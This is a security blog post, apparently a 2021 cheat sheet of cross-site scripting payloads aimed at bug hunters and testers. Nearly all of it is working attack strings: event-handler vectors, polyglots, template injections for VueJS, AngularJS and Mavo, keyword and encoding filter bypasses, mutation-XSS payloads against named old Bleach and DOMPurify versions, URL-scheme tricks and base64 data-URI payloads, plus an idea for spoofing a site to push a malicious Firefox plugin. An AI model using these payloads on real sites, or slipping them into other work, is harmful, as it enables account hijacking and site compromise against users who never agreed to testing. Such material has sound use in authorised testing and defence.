This page looks best with JavaScript enabled

Cheatsheet: XSS that works in 2021

 ·  ☕ 5 min read

It’s been a year since my last XSS cheatsheet, and a year of developments in XSS exploitology. Here’s a new and updated version jam-packed full of goodies that I use myself!

Note: This cheat-sheet focuses on up to date and relevant items only.
Would you take a cheat sheet with you to an exam that has a bunch of irrelevant stuff? No, of course not.
I hate cheat sheets that waste space on methods that no longer work (e.g. XSS through CSS injection) or work only in archaic browsers that developers always argue are out of scope, so this cheat sheet only focuses on techniques that have a place in 2021 and that I’ve personally verified work on at least one modern browser.

Note: If you liked this, consider following me on Twitter for more infosec tips and tricks, info on tools I release and other goodness. Feel free to DM or tweet me questions as well if I can help you with anything!

New stuff

  • Table of contents, quick-links and each item has a copy-to-clipboard button in the top right
  • More HTML event goodness
  • More mXSS
  • More JS Framework payloads (VueJS, Mavo)
  • URL Schema filter bypasses
  • Extended XSS filter bypasses (escape sequences, exploiting JS weirdness, HTML entities & more)
  • More JS tips and tricks
  • More JS resources
  • MIME type exploitation

And of course:

  • Removal of stuff that no longer works

Tag-attribute separators

Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:

Decimal value URL Encoded Human desc
47 %2F Foward slash
13 %0D Carriage Return
12 %0C Form Feed
10 %0A New Line
9 %09 Horizontal Tab

Examples

Basically, if you have a payload that looks like:

1
<svg onload=alert(1)>

You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to. This works for all HTML tags.

So, these are all valid HTML and will execute (demo: valid html )(Note: In new Chrome this breaks if you open it in a new tab without refreshing it manually ¯\(ツ)/¯).

Forward slash:

1
<svg/onload=alert(1)><svg>

New line:

1
2
<svg
onload=alert(1)><svg>

Tab:

1
<svg	onload=alert(1)><svg>

New page (0xC):

1
<svgonload=alert(1)><svg>

JavaScript event based XSS

Good reference for events and supported browsers: More HTML events

Standard HTML events

(0-click only)

Tag Attribute Tags supported Note
onload body, iframe, img, frameset, input, script, style, link, svg Great for 0-click, but super commonly filtered
onpageshow body Great for 0-click, but appears only usable in Non-DOM injections
onfocus input, select, a for 0-click: use together with autofocus=""
onerror img, input, object, link, script, video, audio make sure to pass params to make it fail
onanimationstart Combine with any element that can be animated Fired then a CSS animation starts
onanimationend Combine with any element that can be animated Fires when a CSS animation ends
onstart marquee Fires on marquee animation start - Firefox only?
onfinish marquee Fires on marquee animation end - Firefox only?
ontoggle details Must have the ‘open’ attribute for 0-click

Situational HTML events

Tag Attribute Tags supported Note
onmessage most tags postMessage is commonly used to get around iframe restrictions and share data, as a result if your page is doing this you can use onmessage to intercept messages and trigger code
onblur input, select, a Set autofocus="" for an easy 1-click when the user switches focus away from the injected element by clicking on anything on the page

Examples:

1
<body onload=alert()>
1
<img src=x onerror=alert()>
1
<svg onload=alert()>
1
<body onpageshow=alert(1)>
1
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
1
<marquee onstart=alert(1)> (firefox only)
1
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
1
<input autofocus="" onfocus=alert(1)></input>
1
<details open ontoggle="alert()">  (chrome & opera only)

HTML5 events

(0-click only)

Name Tags Note
onplay video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
onplaying video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
oncanplay video, audio Must link to a valid video/audio clip
onloadeddata video, audio Must link to a valid video/audio clip
onloadedmetadata video, audio Must link to a valid video/audio clip
onprogress video, audio Must link to a valid video/audio clip
onloadstart video, audio Great underexploited 0-click vector
oncanplay video, audio Must link to a valid video/audio clip

Examples:

1
<video autoplay onloadstart="alert()" src=x></video>
1
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
1
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
1
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
1
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
1
<video controls onloadstart="alert()"><source src=x></video>
1
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
1
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
1
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

CSS-based

True XSS injection through CSS is dead (for now). The following are XSS vectors that depend on CSS stylesheets or are otherwise enhanced by them.

Name Tags Note
onmouseover most tags Will trigger when mouse moves over the injected element. If possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s
onclick most tags Will trigger when user clicks on element. If possible, add styling to make it as big as possible.
onanimationstart & onanimationend most tags Triggers on start or end of a CSS animation, which you can make happen on page load (0-click).

Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there by using e.g. animation: alreadydefined;. It doesn’t matter what the animation is, just that it exists.

1
<style>@keyframes x {}</style>
1
<p style="animation: x;" onanimationstart="alert()">XSS</p>
1
<p style="animation: x;" onanimationend="alert()">XSS</p>

Payload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:

1
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>

Same, but for moving your mouse anywhere over the page (0-click-ish):

1
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Weird XSS vectors

Just some odd/weird vectors that I don’t see mentioned often.

1
<svg><animate onbegin=alert() attributeName=x></svg>
1
<object data="data:text/html,<script>alert(5)</script>">
1
<iframe srcdoc="<svg onload=alert(4);>">
1
<object data=javascript:alert(3)>
1
<iframe src=javascript:alert(2)>
1
<embed src=javascript:alert(1)>
1
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
1
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS Polyglots

I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one.
Don’t rely on these 100% because there are circumstances where they will fail, but if you’re data injection testing everything then polyglots can give okay coverage.

# chars Usage Polyglots
141 Both javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
88 Non-DOM "'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 Non-DOM "'>-->*/</noscript></ti tle><script>alert()</script>
42 DOM "'--></style></script><svg oNload=alert()>

tip: you can easily create some great personal variations on these by varying the capitalization and using the tag-attribute separators.

Frameworks

To attack JS Frameworks, always do research on the relevant templating language.

VueJS

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

AngularJS

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich
That payload works in most cases, but this page has a bunch of other recommendations.

Mavo

1
[self.alert(1)]
1
javascript:alert(1)%252f%252f..%252fcss-images
1
[''=''or self.alert(1)]
1
[Omglol mod 1 mod self.alert (1) andlol]

Credit: Gareth Heyes:

XSS Filter Bypasses

JS template literals to call functions

1
2
<svg onload=alert`1`></svg>
<script>alert`1`</script>

Abusing HTML entities

Note that this will only work with HTML injection but not if the value gets injected directly into a script tag. This is because the decoding happens in the HTML parser, and anything between the script tags just gets sent to a javacript engine directly without decoding.

1
<svg onload=alert&lpar;1&rpar;></svg>
1
<img src=x onerror=&#x22;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x22;>
1
<svg onload=alert&#x28;1&#x29></svg>
1
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
1
<svg onload=alert&#40;1&#41></svg>

HTML entities encoder available here, make sure to uncheck the ‘only encode unsafe…’ box.

Note that you can use three different sets of HTML entities encoding and combine them as you wish: named (&plar; -> (), hex (&x28; -> () and decimal (&#40; -> ().

Restricted charset

These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:

  • JSFuck - Translate arbitrary javascript to executable javacript using only 6 characters. Only downside is that complex javascript payloads can get very long.
  • JSFsck – JSFuck without parentheses – same as above, but more restricted charset.
  • jjencode – Situational, but also good to know about.
  • arubesh.js – needs some extra chars ontop of JSFuck, but may be useful if space is limited along with a loose filtering.

Keyword filtering

Avoiding keywords and specific substrings:

1
(alert)(1)
1
globalThis[`al`+/ert/.source]`1`
1
this[`al`+/ert/.source]`1`
1
[alert][0].call(this,1)
1
window['a'+'l'+'e'+'r'+'t']()
1
window['a'+'l'+'e'+'r'+'t'].call(this,1)
1
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
1
(1,2,3,4,5,6,7,8,alert)(1)
1
x=alert,x(1)
1
[1].find(alert)
1
top["al"+"ert"](1)
1
top[/al/.source+/ert/.source](1)
1
al\u0065rt(1)
1
al\u0065rt`1`
1
top['al\145rt'](1)
1
top['al\x65rt'](1)
1
top[8680439..toString(30)](1)

General tricks

To constructing strings

Regex literals:
/part1/.source+/part2/.source => 'part1part2'
Numbers to strings:
8680439..toString(30) => 'alert' ( Number is generated using parseInt(“alert”,30), other bases also work )

use character escape sequences inside of strings

simple tool for this is available here:
"\x41" -> "A": hex encoding
"\u0065" -> "A": unicode encoding (value is decimal)
"\101" -> "A": octal encoding

VaRy ThE capItaliZatiOn

Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase(), like:
globalThis["aLeRt".toLowerCase()]

Calling functions

alert`1` : Template literal syntax
alert.apply(this,[1]): Using Function.prototype.apply
alert.call(this,1): Using Function.prototype.call
alert(1): Obviously, but included for completeness.
[1].find(alert): Using predicates
[1].filter(alert): Using predicates

Reuse and recycle

Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. Wappalyzer or equivalent can help here.
window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")

mXSS and DOM Clobbering

It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser + sanitizer will correct it into a valid payload… which bypasses all filtering.

mXSS paper with lots of details: here
Talk with good info on clobbering: here

Sanitizer bypass mXSS payloads

Note: mXSS can be browser dependent, so try multiple browsers as well.

Bleach <=3.1.1

1
<noscript><style></noscript><img src=x onerror=alert(1)>
1
<svg><style><img src=x onerror=alert(1)></style></svg>

DOMPurify <2.1
(note: I had to play with some of these a little bit to get them to work. .)

1
<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
1
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
1
<math><mtext><table><mglyph><style><!--</style><img title=&quot;--></mglyph><img	src=1	onerror=alert(1)>">

DOMPurify <2.0.1

1
 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
1
 <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

Double encoding

Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.

Char Double encoded
< %253C
> %253E
( %2528
) %2529
" %2522
' %2527

URL Schema filter bypasses

Let’s say you’ve got an opportunity to inject data into something that touches the URL. Like a location.href, but it’s filtered. This is a list of things you can attempt to to do bypass it.

Credit for this particular set of hackery goes to this great article on XSS in Django

(Some of these are browser dependent. Try your payload separately before relying on it.)

Technique Example
Case sensitivity JaVaScript:alert(1) URL protocol is case insensitive
Some whitespace INSIDE protocol javas cript:alert(1) tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere in protocol
Whitespace before protocol javascript:alert(1) Characters \x01-\x20 can be inserted before the protocol
Some whitespace AFTER protocol before oclon javascript : tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere after the protocol

Mime type exploitation

If you can force a browser to load data, either through setting the URL (via e.g. location.href or the href field in an a tag) or other means, you can execute javascript. In Firefox, these are treated as the same domain as the originating page but not in Chrome. Regardless, this can lead to a few dangerous outcomes explained below.

If you’re unfamiliar, you can test these payloads by pasting them into the URL of your browser. They all simply do an alert(‘XSS’), but you can verify this by using a base64 decoder on the payloads if you want to be cautious.

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

(Firefox only)

data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+

Not XSS, but consider other mime types which can weak havoc. Like the following exampe using application/x-xpinstall in Firefox that prompts users to install a plugin… imagine how bad it would be if someone chained a text/html with this to spoof the appearance of a legitimate website then prompt the users to install a plugin which might get access to all their browser data?
(Firefox only)

data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>

Other ideas include java applets, steam, or really anything that registers a custom protocol handler. Some ideas on exploiting them are available here .

Resources

Great other resources:

Fantastic collection of somewhat old XSS stuff
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks
Pwnfunction’s XSS CTF for practising (highly recommended)

Thanks!

Thanks for reading!
If you liked this, consider following me on Twitter for more infosec tips and tricks, info on tools I release and other goodness! Feel free to DM or tweet me questions as well if I can help you with anything!

Share on

Sam Anttila
WRITTEN BY
Sam Anttila
Information Security Engineer @ Google. Opinions are my own and I do not speak on behalf of my employer.